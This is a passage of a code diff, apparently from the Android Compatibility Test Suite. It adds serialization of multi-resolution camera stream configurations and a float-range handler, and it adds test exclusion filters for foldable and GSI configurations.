if (protoName == null) {
@@ -287,6 +302,55 @@
mStore.endGroup();
}
+ private void storeMultiResStreamConfigurationMap(
+ MultiResolutionStreamConfigurationMap map, String protoName) throws Exception {
+ if (protoName == null) {
+ mStore.startGroup();
+ } else {
+ mStore.startGroup(protoName);
+ }
+
+ mStore.startArray("availableMultiResolutionConfigurations");
+ int[] fmts = map.getOutputFormats();
+ if (fmts != null) {
+ for (int fi = 0; fi < Array.getLength(fmts); fi++) {
+ Collection<MultiResolutionStreamInfo> streamInfo = map.getOutputInfo(fmts[fi]);
+ if (streamInfo != null) {
+ for (MultiResolutionStreamInfo oneStream : streamInfo) {
+ mStore.startGroup();
+ mStore.addResult("format", fmts[fi]);
+ mStore.addResult("width", oneStream.getWidth());
+ mStore.addResult("height", oneStream.getHeight());
+ mStore.addResult("cameraId", oneStream.getPhysicalCameraId());
+ mStore.addResult("input", false);
+ mStore.endGroup();
+ }
+ }
+ }
+ }
+
+ int[] inputFmts = map.getInputFormats();
+ if (inputFmts != null) {
+ for (int fi = 0; fi < Array.getLength(inputFmts); fi++) {
+ Collection<MultiResolutionStreamInfo> streamInfo =
+ map.getInputInfo(inputFmts[fi]);
+ if (streamInfo != null) {
+ for (MultiResolutionStreamInfo oneStream : streamInfo) {
+ mStore.startGroup();
+ mStore.addResult("format", inputFmts[fi]);
+ mStore.addResult("width", oneStream.getWidth());
+ mStore.addResult("height", oneStream.getHeight());
+ mStore.addResult("cameraId", oneStream.getPhysicalCameraId());
+ mStore.addResult("input", true);
+ mStore.endGroup();
+ }
+ }
+ }
+ }
+ mStore.endArray();
+ mStore.endGroup();
+ }
+
private static String getKeyName(Object keyObj) {
return ((CameraCharacteristics.Key) keyObj).getName();
}
@@ -342,6 +406,11 @@
return;
} else if (keyType instanceof ParameterizedType &&
((ParameterizedType) keyType).getRawType() == Range.class &&
+ ((ParameterizedType) keyType).getActualTypeArguments()[0] == Float.class) {
+ storeRangeFloat((Range<Float>) keyValue, protoName);
+ return;
+ } else if (keyType instanceof ParameterizedType &&
+ ((ParameterizedType) keyType).getRawType() == Range.class &&
((ParameterizedType) keyType).getActualTypeArguments()[0] == Integer.class) {
storeRangeInt((Range<Integer>) keyValue, protoName);
return;
@@ -356,6 +425,9 @@
} else if (keyType == BlackLevelPattern.class) {
storeBlackLevelPattern((BlackLevelPattern) keyValue, protoName);
return;
+ } else if (keyType == MultiResolutionStreamConfigurationMap.class) {
+ storeMultiResStreamConfigurationMap(
+ (MultiResolutionStreamConfigurationMap) keyValue, protoName);
} else {
Log.w(TAG, "Storing unsupported key type: " + keyType +
" for keyName: " + keyName);
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index 250fba8..cf74572 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -29,5 +29,9 @@
<!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
launcher always visible on one of the screens. -->
<option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
+ <!-- b/203779972: CtsCameraTestCases failures due to mismatching orientation between
+ device and camera sensor. -->
+ <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
+ <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 48521a9..cb192cc 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -65,6 +65,9 @@
<!-- b/183654427 Remove CtsTelecomTestCases from cts-on-gsi -->
<option name="compatibility:exclude-filter" value="CtsTelecomTestCases" />
+ <!-- b/183655483 Remove CtsTelephonySdk28TestCases from cts-on-gsi -->
+ <option name="compatibility:exclude-filter" value="CtsTelephonySdk28TestCases" />
+
<!-- b/183234756, b/80388296, b/110260628, b/159295445, b/159294948 CtsDevicePolicyManagerTestCases -->
<option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases" />